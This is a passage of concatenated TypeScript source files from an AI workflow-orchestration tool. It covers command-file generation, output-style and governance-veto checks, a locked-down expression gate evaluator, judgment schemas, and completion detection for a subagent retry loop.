${name}\\` Bash command.${stagedNote}`,\n `- Workflow runtime: \\`src/workflow/run.ts\\` walks \\`workflows/${nameToYamlHintPath(name)}\\` with disciplines + judgments + master orchestration applied per the yaml \\`delegates_to[]\\` + \\`gate\\` clauses.`,\n ``,\n `<!-- harnessed-generated:v3.4.4 -->`,\n ``,\n ].join('\\n')\n\n // v3.4.4 — no `{{ capabilities.<x>.cmd }}` placeholder in body, so renderSkillBody\n // is not invoked and warnings are always empty (signature retained for back-compat).\n const warnings: string[] = []\n\n const frontmatter = [\n '---',\n `description: ${JSON.stringify(prompt.description)}`,\n `argument-hint: ${JSON.stringify(argHint)}`,\n '---',\n '',\n ].join('\\n')\n\n return { content: frontmatter + body, warnings }\n}\n\n/** Returns the relative `workflows/...` path matching the 3-tier\n * resolveWorkflowYaml lookup in src/cli/run.ts. Used in the Notes section\n * to hint where the runtime yaml lives. */\nfunction nameToYamlHintPath(name: string): string {\n if (['auto', 'research', 'retro'].includes(name)) return `${name}/workflow.yaml`\n if (['discuss', 'plan', 'task', 'verify'].includes(name)) return `${name}/auto/workflow.yaml`\n const dashIdx = name.indexOf('-')\n if (dashIdx > 0) {\n return `${name.slice(0, dashIdx)}/${name.slice(dashIdx + 1)}/workflow.yaml`\n }\n return `${name}/workflow.yaml`\n}\n\n/** v3.4.4 marker — every command file generated by this tool emits this trailing\n * comment as the last non-blank body line. `harnessed setup` overwrites any file\n * containing this marker (or the older v3.4.3 dual-path signature) and preserves\n * files with neither (true user-authored). Pattern is digit-loose so future\n * v3.4.5+ patches can re-overwrite without losing the property. */\nconst HARNESSED_MARKER_RX = /<!--\\s*harnessed-generated:v3\\.4\\.\\d+\\s*-->/\n\n/** Detect the v3.4.3 dual-path body shape — overwrite even though it has no\n * marker because it shipped before markers existed. Two-signal AND so we don't\n * false-positive on user files that happen to mention \"SlashCommand\". Matches\n * the sub-workflow variant (preferred=SlashCommand, fallback=Task spawn). */\nconst V3_4_3_SIGNATURE_SUB_RX =\n /\\*\\*Preferred path\\*\\*[\\s\\S]*use the SlashCommand tool[\\s\\S]*\\*\\*Fallback path\\*\\*[\\s\\S]*use the Task tool to spawn/\n\n/** Detect the v3.4.3 master/standalone-orchestrator dispatcher variant — bodies\n * for /auto, /discuss, /plan, /task, /verify, /research used \"dispatch to the\n * per-sub-workflow slash commands\" instead of \"use the SlashCommand tool\", so\n * V3_4_3_SIGNATURE_SUB_RX missed them and they were misclassified as\n * user-authored. This phrase is distinctive enough that **Preferred path**\n * + the literal sub-workflow dispatch sentence is a safe two-signal AND. */\nconst V3_4_3_SIGNATURE_MASTER_RX = /\\*\\*Preferred path\\*\\*[\\s\\S]*dispatch to the per-sub-workflow/\n\n/** Returns true when the file is harnessed-generated (any version) and may be\n * safely overwritten by `harnessed setup`. User-authored files (neither marker\n * nor v3.4.3 signature present) are skipped with a warning. */\nexport function shouldOverwriteFile(content: string): boolean {\n return (\n HARNESSED_MARKER_RX.test(content) ||\n V3_4_3_SIGNATURE_SUB_RX.test(content) ||\n V3_4_3_SIGNATURE_MASTER_RX.test(content)\n )\n}\n\n/**\n * Write all sub-workflow commands files to `<commandsDir>`. v3.4.4 marker-based\n * overwrite: a file is overwritten when it carries the harnessed marker OR\n * matches the v3.4.3 dual-path signature; truly user-authored files (with\n * neither) are skipped with a warning. The 9-arg signature stays backwards-\n * compatible because `fileExists` and `readFileSync` have default values —\n * existing 7-arg callers in setup.ts continue to work.\n */\nexport async function writeAllCommands(\n slashNames: string[],\n commandsDir: string,\n rolePrompts: Record<string, RolePrompt>,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n writer: (path: string, content: string) => Promise<void>,\n fileExists: (path: string) => boolean = existsSync,\n readFileSync: (path: string) => string = (p) => nodeReadFileSync(p, 'utf8'),\n): Promise<{ results: CommandWriteResult[]; warnings: string[] }> {\n const results: CommandWriteResult[] = []\n const aggregatedWarnings = new Set<string>()\n\n for (const name of slashNames) {\n const path = join(commandsDir, `${name}.md`)\n const prompt = rolePrompts[name]\n if (!prompt) {\n results.push({\n name,\n path,\n written: false,\n warning: `no role-prompts.yaml entry for '${name}' — skipping commands/${name}.md generation`,\n })\n aggregatedWarnings.add(`role-prompts.yaml missing entry for '${name}'`)\n continue\n }\n\n // v3.4.4 — marker-based overwrite. Skip ONLY when file exists AND is\n // user-authored (neither harnessed marker nor v3.4.3 dual-path signature\n // present). Harnessed-generated files get re-rendered (in case role-prompts\n // .yaml changed) — that's the upgrade path from v3.4.3 → v3.4.4.\n if (fileExists(path)) {\n let existing = ''\n try {\n existing = readFileSync(path)\n } catch {\n existing = ''\n }\n if (!shouldOverwriteFile(existing)) {\n results.push({\n name,\n path,\n written: false,\n warning: `commands/${name}.md is user-authored (no harnessed marker) — leaving unchanged. Delete the file to force regenerate.`,\n })\n continue\n }\n // Else: harnessed-generated (v3.4.3 or older v3.4.4) → overwrite below.\n }\n\n const { content, warnings } = generateCommandFile(\n name,\n prompt,\n capabilities,\n installedPlugins,\n installedUserSkills,\n )\n try {\n await writer(path, content)\n results.push({ name, path, written: true })\n } catch (e) {\n results.push({\n name,\n path,\n written: false,\n warning: `write failed for commands/${name}.md: ${(e as Error).message}`,\n })\n }\n for (const w of warnings) aggregatedWarnings.add(w)\n }\n\n return { results, warnings: [...aggregatedWarnings] }\n}\n","// src/discipline/enforcement/after-output.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: response emission 后 (chat target only);validate output-style + language rules.\n//\n// NOTE: v3.0 unit-test only; production response output wire deferred v3.x per K5 + D-09\n// superset commitment (M-3 advisory inline patch). Heuristics here are seed for v3.x\n// production integration with chat response stream.\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface OutputHookCtx {\n responseText: string\n responseTarget: 'chat' | 'file' | 'commit-message'\n userRequestedEmoji: boolean\n packageRoot: string\n}\n\nconst EM_DASH_RE = /——|—/\nconst EMOJI_RE = /\\p{Emoji_Presentation}/u\nconst SYCOPHANTIC_RE = /(好问题|太棒了|完美|希望对你有帮助|还需要别的吗|要不要我帮你)/\nconst END_RECAP_RE = /## 总结|## Summary|综上所述|In summary/\n\n/** Returns warning strings; does NOT exit. Caller emits via console.warn. */\nexport async function runAfterOutputHook(ctx: OutputHookCtx): Promise<string[]> {\n if (ctx.responseTarget !== 'chat') return []\n const warns: string[] = []\n // Eagerly load both styles for cache warm + future fields (no field reads needed today).\n await Promise.all([\n loadDiscipline('output-style', ctx.packageRoot),\n loadDiscipline('language', ctx.packageRoot),\n ])\n\n const firstSentence = ctx.responseText.split(/[。.!?\\n]/)[0] ?? ''\n if (firstSentence.length > 100) warns.push('BLUF missing: first sentence > 100 char')\n\n if (EM_DASH_RE.test(ctx.responseText)) warns.push('em-dash detected (auto-fix recommended)')\n\n if (!ctx.userRequestedEmoji && EMOJI_RE.test(ctx.responseText)) {\n warns.push('emoji used without explicit user request')\n }\n\n if (SYCOPHANTIC_RE.test(ctx.responseText)) warns.push('sycophantic phrase detected')\n\n const lastChunk = ctx.responseText.slice(-200)\n if (END_RECAP_RE.test(lastChunk)) warns.push('redundant end recap detected')\n\n for (const w of warns) console.warn(`⚠️ output-style: ${w}`)\n return warns\n}\n","// src/discipline/enforcement/before-phase-execute.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: workflow engine pre-phase (sister run.ts L74 for-loop start).\n//\n// Wedge entry point — load disciplines_applied[] from workflow.yaml (default all 6)\n// into a Map<basename, DisciplineT> for downstream phase context + hook queries.\n// Per RESEARCH-disciplines § 3.2.4 verbatim (DEFAULT_APPLIED 全 6 basename).\n\nimport { loadAllApplied } from '../../workflow/disciplineLoader.js'\nimport type { DisciplineT } from '../../workflow/schema/discipline.js'\n\nexport async function loadDisciplinesForPhase(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n return loadAllApplied(disciplines_applied, packageRoot)\n}\n","// src/discipline/enforcement/before-spawn.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 priority.yaml).\n// Hook trigger: master orchestrator 收到 ≥2 capability fired 时 arbitrate.\n//\n// Sorts the fired capability list by `priority_hierarchy` rank loaded from\n// disciplines/priority.yaml. Unknown tier names sort to the end (LOWEST priority,\n// MAX_SAFE_INTEGER rank — conservative degrade per RESEARCH-disciplines § 3.2.3).\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface FiredCapability {\n name: string\n /** Tier identifier — one of priority.yaml priority_hierarchy entries\n * (gstack / gsd / superpowers / planning-with-files / karpathy / mattpocock / parallel). */\n tier: string\n}\n\nexport async function arbitrateBeforeSpawn(\n fired: FiredCapability[],\n packageRoot: string,\n): Promise<FiredCapability[]> {\n if (fired.length <= 1) return fired\n const d = await loadDiscipline('priority', packageRoot)\n const hierarchy = d.priority_hierarchy ?? []\n const rank = (tier: string): number => {\n const i = hierarchy.indexOf(tier)\n return i === -1 ? Number.MAX_SAFE_INTEGER : i\n }\n return [...fired].sort((a, b) => rank(a.tier) - rank(b.tier))\n}\n","// src/workflow/governance.ts — Phase 3.2 W1 T1.7 (D-04 PUSH LOCKED).\n// Sister src/checkpoint/state.ts L23-41 readCurrentWorkflow fail-soft pattern\n// (direct analog). gstack writes <harnessed-root>/governance.json (NOT in\n// harnessed scope per D-04); harnessed reads lazy-once per workflow phase\n// boundary (NOT polling per Phase 2.4 SSE anti-pattern lesson + D-04 guard).\n// v3.0.3 — GOV_PATH routed through harnessedRoot SoT (homedir-rooted).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { GovernanceV1, type GovernanceV1Type } from './schema/governance.js'\n\nfunction govPath(): string {\n return harnessedFile('governance.json')\n}\n\n/** Read <harnessed-root>/governance.json with fail-soft null on missing/corrupt/drift.\n * Sister state.ts:23-41. Missing file = active (no veto) by design — D-04 PUSH\n * default is active unless gstack explicitly writes vetoed state. */\nexport async function readGovernance(): Promise<GovernanceV1Type | null> {\n let raw: string\n try {\n raw = await readFile(govPath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(GovernanceV1, parsed) ? (parsed as GovernanceV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Lazy check whether workflow execution should halt due to gstack veto.\n * Called from runWorkflow BEFORE each phase transition (NOT polling timer). */\nexport async function isVetoed(): Promise<boolean> {\n return (await readGovernance())?.status === 'vetoed'\n}\n","// src/workflow/schema/governance.ts — Phase 3.2 W1 T1.3 (D-04 PUSH 10th surface).\n// Sister Phase 3.1 W1 T1.2 (checkpoint.v1.ts TypeBox Union shape direct analog).\n// gstack writes .harnessed/governance.json (NOT harnessed scope per D-04);\n// harnessed reads lazy-once per workflow phase boundary (NOT polling — sister\n// Phase 2.4 SSE polling anti-pattern lesson). Threat mitigation (RESEARCH §\n// 11.4): maxLength caps prevent DOS; fixed path prevents traversal; TypeBox\n// strict prevents schema drift (graceful null via branchOnSchemaVersion CD-5).\n// Path divergence from PATTERNS § 2.4 in W0.3-schema-decision.md (colocation).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 2-state governance status (D-04 PUSH lock). gstack writes 'vetoed' to halt\n * harnessed workflow execution at next phase boundary. */\nexport const GovernanceStatus = Type.Union([Type.Literal('active'), Type.Literal('vetoed')])\n\nexport const GovernanceV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.governance), // 'harnessed.governance.v1'\n status: GovernanceStatus,\n reason: Type.Optional(Type.String({ maxLength: 500 })), // DOS cap per RESEARCH § 11.4\n // ISO-8601 date-time regex (Phase 3.2 W2 Rule 1 fix — TypeBox `format: 'date-time'`\n // requires FormatRegistry.Set which is not registered project-wide; using\n // `pattern` is zero-config equivalent. Sister checkpoint.v1 uses ISO pattern too.).\n vetoed_at: Type.Optional(\n Type.String({\n pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}T\\\\d{2}:\\\\d{2}:\\\\d{2}(\\\\.\\\\d+)?(Z|[+-]\\\\d{2}:\\\\d{2})$',\n }),\n ),\n vetoed_by: Type.Optional(Type.String({ maxLength: 100 })), // e.g. 'CEO' (gstack role)\n },\n { additionalProperties: false },\n)\n\nexport type GovernanceV1Type = Static<typeof GovernanceV1>\n","// Phase v2.0-2.3 W0 T2.3.W0.3 (D-03 + R20.3 + RESEARCH § 1.3) — expr-eval gate\n// evaluator with locked-down operators (Phase 2.2 STRIDE T-2.2-02 yaml-injection\n// mitigation: disable add/subtract/multiply/divide/assignment; keep only\n// logical/comparison/in). Module-level Parser singleton per PLAN-ENG-REVIEW\n// § 4 LOW perf recommendation (avoid hot-path Parser rebuild).\n\nimport { Parser, type Values } from 'expr-eval'\n\nconst PARSER_OPTIONS = {\n operators: {\n add: false,\n subtract: false,\n multiply: false,\n divide: false,\n logical: true,\n comparison: true,\n in: true,\n assignment: false,\n },\n} as const\n\n// Module-level singleton — re-used across all evalGate calls. Test-only export\n// for identity assertion (acceptance criterion e).\nconst _parserSingleton = new Parser(PARSER_OPTIONS)\n\nexport class GateEvalError extends Error {\n constructor(\n message: string,\n public readonly expression: string,\n ) {\n super(message)\n this.name = 'GateEvalError'\n }\n}\n\nexport function evalGate(expression: string, context: Record<string, unknown>): boolean {\n try {\n const parsed = _parserSingleton.parse(expression)\n // expr-eval `Values` interface accepts boolean at runtime even though the\n // declared `Value` union only lists number/string/function/nested-record —\n // 10 W0.3 fixture verify boolean propagation works. Cast preserves runtime\n // contract without forcing all callers to narrow their context types.\n const result = parsed.evaluate(context as unknown as Values)\n if (typeof result !== 'boolean') {\n throw new GateEvalError(\n `Expression must evaluate to boolean, got ${typeof result}`,\n expression,\n )\n }\n return result\n } catch (err) {\n if (err instanceof GateEvalError) throw err\n throw new GateEvalError(`Gate eval failed: ${(err as Error).message}`, expression)\n }\n}\n\nexport { _parserSingleton }\n","// src/workflow/schema/judgment.ts — Phase v2.0-2.3 W0 T2.3.W0.6 (R20.4).\n// TypeBox schema for workflows/judgments/*.yaml (W0.2 shipped 6 file, 158L).\n// Sister W0.2 5 file root key `triggers` + 1 fallback file root key `rules`.\n//\n// 6 file 覆盖 (per D-16 multi-file 分类):\n// triggers root key (5 file):\n// - strategic-gate.yaml (office-hours / plan-ceo-review)\n// - phase-gate.yaml (gsd-discuss-phase)\n// - subtask-gate.yaml (brainstorming)\n// - parallelism-gate.yaml (subagent-default / agent-teams-upgrade / main-session-fallback / ralph-loop-wrapper)\n// - tdd-gate.yaml (tdd-strongly-suggested)\n// rules root key (1 file):\n// - fallback.yaml (uncertain-skip-transparently / user-explicit-override / chain-isolation)\n//\n// 14th surface schema_version: harnessed.judgment.v1 (sister schemaVersion.ts).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst TriggerInvocation = Type.Object(\n {\n capability: Type.String(),\n },\n { additionalProperties: false },\n)\n\nconst RequiresCapabilities = Type.Object(\n {\n capabilities: Type.Array(Type.String()),\n },\n { additionalProperties: false },\n)\n\n// Triggers-style entry — 5 file 通用 shape.\n// `wraps` 仅 parallelism-gate.yaml ralph-loop-wrapper 用 (orthogonal wrapper per R20.10).\nexport const JudgmentTrigger = Type.Object(\n {\n description: Type.Optional(Type.String()),\n fires_when: Type.Optional(Type.String()),\n skips_when: Type.Optional(Type.String()),\n invokes: Type.Optional(Type.Array(TriggerInvocation)),\n requires: Type.Optional(RequiresCapabilities),\n wraps: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// Fallback rule entry — 仅 fallback.yaml 用 (3 rule per CLAUDE.md \"Fallback 三条铁律\").\nexport const FallbackRule = Type.Object(\n {\n description: Type.Optional(Type.String()),\n fallback_action: Type.Optional(Type.String()),\n message_template: Type.Optional(Type.String()),\n override_signal: Type.Optional(Type.Array(Type.String())),\n chain_isolation: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// Triggers-style file (strategic / phase / subtask / parallelism / tdd).\nexport const JudgmentTriggersFile = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n triggers: Type.Record(Type.String(), JudgmentTrigger),\n },\n { additionalProperties: false },\n)\n\n// Rules-style file (fallback only).\nexport const JudgmentRulesFile = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n rules: Type.Record(Type.String(), FallbackRule),\n },\n { additionalProperties: false },\n)\n\n// Discriminated union — resolver consumes either shape.\nexport const JudgmentFile = Type.Union([JudgmentTriggersFile, JudgmentRulesFile])\n\n// v3.6.0 Phase 3 — user-overrides.yaml schema (P0b 上半, R20.4 sister extension).\n// Separate top-level shape (NOT in JudgmentFile union — additive only per Phase 3\n// 灰区 #1-3 protocol + Risk 3 mitigation). Consumed by\n// src/cli/lib/extract-user-overrides.ts (Wave 2). schema_version literal\n// `harnessed.user-overrides.v1` (15th surface; NOT yet wired into\n// types/schemaVersion.ts SCHEMA_VERSIONS — single-file consumer per Phase 3).\nconst UserOverrideEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case (e.g. 'brainstorm', 'arch-review')\n keywords: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n triggers: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport const UserOverridesFile = Type.Object(\n {\n schema_version: Type.Literal('harnessed.user-overrides.v1'),\n overrides: Type.Array(UserOverrideEntry, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type JudgmentTriggerT = Static<typeof JudgmentTrigger>\nexport type FallbackRuleT = Static<typeof FallbackRule>\nexport type JudgmentTriggersFileT = Static<typeof JudgmentTriggersFile>\nexport type JudgmentRulesFileT = Static<typeof JudgmentRulesFile>\nexport type JudgmentFileT = Static<typeof JudgmentFile>\nexport type UserOverrideEntryT = Static<typeof UserOverrideEntry>\nexport type UserOverridesFileT = Static<typeof UserOverridesFile>\n","// Phase v2.0-2.3 W0 T2.3.W0.4 — judgmentResolver.ts (Q-AUDIT-5c MANDATORY,\n// R20.4 acceptance c sub-item, PLAN-ENG-REVIEW Implementation Task #1).\n//\n// expr-eval Parser 视 `judgments.<file>.<trigger>.<field>` 为 4 层 dot-access\n// identifier chain — Parser 不直接支持 file boundary semantics。本模块在\n// evalGate 调用前预 resolve 4 层 ref → load `workflows/judgments/<file>.yaml`\n// → TypeBox validate → extract trigger.fires_when / skips_when → 交给 evalGate\n// (D-03 expr-eval) 求值。\n//\n// Dual-schema routing per W0.6: fallback.yaml 顶级 key 是 `rules` (3 铁律),\n// 其余 5 file 顶级 key 是 `triggers`. fallback rules 无 fires_when/skips_when\n// 字段, 不参与 expr eval — gate ref 指向 fallback file 时 fieldName 必走 error\n// path (设计意图: fallback 由 runtime 词法匹配, 非 expr eval).\n//\n// Cache: parsed yaml 文件 module-level Map<fileName, JudgmentTriggersFileT |\n// JudgmentRulesFileT> avoid hot-path readFile + parseYaml (perf per PLAN L195).\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { evalGate } from './exprBuilder.js'\nimport {\n JudgmentRulesFile,\n type JudgmentRulesFileT,\n JudgmentTriggersFile,\n type JudgmentTriggersFileT,\n} from './schema/judgment.js'\n\nexport class TriggerNotFoundError extends Error {\n constructor(\n public readonly trigger: string,\n public readonly fileName: string,\n ) {\n super(`Trigger '${trigger}' not found in judgments/${fileName}.yaml`)\n this.name = 'TriggerNotFoundError'\n }\n}\n\nconst _fileCache = new Map<string, JudgmentTriggersFileT | JudgmentRulesFileT>()\n\nexport async function resolveJudgmentGate(\n gateRef: string,\n context: Record<string, unknown>,\n packageRoot: string,\n): Promise<boolean> {\n // v3.6.0 Phase 3 — user-override bypass (P0b 上半, Audit § fallback 三条铁律\n // \"用户明示 → 覆盖判据\"). CLI (src/cli/run.ts) fills gateContext.user_overrides[]\n // from task description keyword match against workflows/judgments/user-overrides.yaml\n // (loaded by src/cli/lib/extract-user-overrides.ts). When gateRef present in the\n // array → fires=true bypass; expression evaluation skipped. Only the `.fires`\n // field honors the override; `.skips` falls through to normal eval (user\n // override forces fire, not skip).\n const userOverrides = context.user_overrides as string[] | undefined\n if (Array.isArray(userOverrides) && userOverrides.includes(gateRef)) {\n return true\n }\n\n const parts = gateRef.split('.')\n if (parts.length !== 4 || parts[0] !== 'judgments') {\n throw new Error(`Invalid gate ref: ${gateRef}`)\n }\n const [, fileName, triggerName, fieldName] = parts as [string, string, string, string]\n\n let parsed = _fileCache.get(fileName)\n if (!parsed) {\n const yamlPath = resolve(packageRoot, 'workflows', 'judgments', `${fileName}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n const schema = fileName === 'fallback' ? JudgmentRulesFile : JudgmentTriggersFile\n if (!Value.Check(schema, parsedRaw)) {\n const errors = [...Value.Errors(schema, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid judgment file ${fileName}.yaml: ${errors}`)\n }\n parsed = parsedRaw as JudgmentTriggersFileT | JudgmentRulesFileT\n _fileCache.set(fileName, parsed)\n }\n\n const entries =\n 'triggers' in parsed\n ? parsed.triggers\n : (parsed.rules as unknown as Record<string, { fires_when?: string; skips_when?: string }>)\n const trigger = entries[triggerName]\n if (!trigger) {\n throw new TriggerNotFoundError(triggerName, fileName)\n }\n\n const expr =\n fieldName === 'fires'\n ? trigger.fires_when\n : fieldName === 'skips'\n ? trigger.skips_when\n : undefined\n if (!expr) {\n throw new Error(\n `Field '${fieldName}' has no expression in trigger '${triggerName}' of ${fileName}.yaml`,\n )\n }\n\n return evalGate(expr, context)\n}\n\n// Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n// stay independent. Production callers should never touch this.\nexport function _clearJudgmentCache(): void {\n _fileCache.clear()\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/promiseExtract.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/fallbackHandlers.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase v2.0-2.4 W1 T2.4.W1.2 — ralph-loop fallback UX handlers (R20.10 acceptance c).\n// Sister Phase 2.2 sdkReconcile.ts split pattern (≤80L helper from engine.ts ≤200L\n// Karpathy hard limit). PLAN.md L339-368 verbatim UX text per RESEARCH § 7.2.\n//\n// CONTRACT — fallback config 来自 phases.yaml v2 phase.fallback.max_iterations_exceeded\n// (TypeBox schema src/workflow/schema/workflow.ts L38-45 ship by T2.4.W0.1). engine.ts\n// catch block delegates here — handler emits full UX text to stderr (PLAN L342-358)\n// then process.exit(exit_code). Return type `never` — process.exit unreachable after.\n\nimport type { MaxIterationsExceededError, VerbatimCompleteFailError } from './ralphLoop.js'\n\nexport interface FallbackMaxIterationsExceededConfig {\n action: 'emit_warning_and_halt'\n message: string\n exit_code: number\n}\n\nexport interface MaxIterFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n lastMessage?: string\n maxIterations: number\n}\n\nexport interface VerbatimFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n}\n\n/** Emit RESEARCH § 7.2 verbatim UX text + process.exit. Yaml `message` placeholder\n * `{{ args.max_iterations }}` is substituted with actual iter (sister Phase 3.2 W1\n * T1.6 interpolate.ts STRICT regex 不支持 dot-path — inline minimal substitution). */\nexport function handleMaxIterationsExceeded(\n err: MaxIterationsExceededError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: MaxIterFallbackCtx,\n): never {\n const yamlShort = fallback.message.replace(\n /\\{\\{\\s*args\\.max_iterations\\s*\\}\\}/g,\n String(ctx.maxIterations),\n )\n const truncated = (ctx.lastMessage ?? '<empty>').slice(0, 500)\n // RESEARCH § 7.2 verbatim UX text (PLAN L342-358).\n const uxText = `❌ ralph-loop max-iterations exceeded (${err.iterations}/${ctx.maxIterations}).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent attempted ${err.iterations} iterations without emitting verbatim \"<promise>COMPLETE</promise>\".\nThis indicates one of:\n 1. Sub-task is genuinely incomplete (escalate to user / re-scope)\n 2. Subagent is stuck in a loop (review prompt / system instructions)\n 3. max-iterations too low (override via --max-iterations <N>, hard upper limit 100)\nManual options:\n A) Continue with current state: \\`harnessed workflow resume --skip-completion-gate\\`\n B) Re-run from last checkpoint: \\`harnessed workflow resume --from-checkpoint\\`\n C) Abort cleanly: exit 1\nExit code: ${fallback.exit_code}\n${yamlShort}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable') // satisfies `never` return type for type-checker\n}\n\n/** Symmetric handler for VerbatimCompleteFailError (sister ralphLoop.ts L29-34\n * Phase 2.2 ship). Same fallback config reused; UX text mentions verbatim signal. */\nexport function handleVerbatimCompleteFail(\n err: VerbatimCompleteFailError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: VerbatimFallbackCtx,\n): never {\n const truncated = err.lastMessage.slice(0, 500)\n const uxText = `❌ ralph-loop verbatim COMPLETE signal missing (F33 P1).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent's final message lacked verbatim \"<promise>COMPLETE</promise>\" tag.\nThis indicates one of:\n 1. Subagent skipped the completion-promise contract (review system prompt)\n 2. Output format misconfigured (check outputFormat schema)\nManual options:\n A) Re-run with explicit COMPLETE instruction in subagent prompt\n B) Abort cleanly: exit ${fallback.exit_code}\nExit code: ${fallback.exit_code}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable')\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n// Phase v3.4.4 — moved from src/routing/lib/ to src/workflow/lib/ (single SoT, sister Phase 2 sdkSpawn pattern). promiseExtract + completionSchema + fallbackHandlers remain in src/routing/ pending Phase 6 hoist.\n\nimport type { SdkResultEnvelope } from './completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN 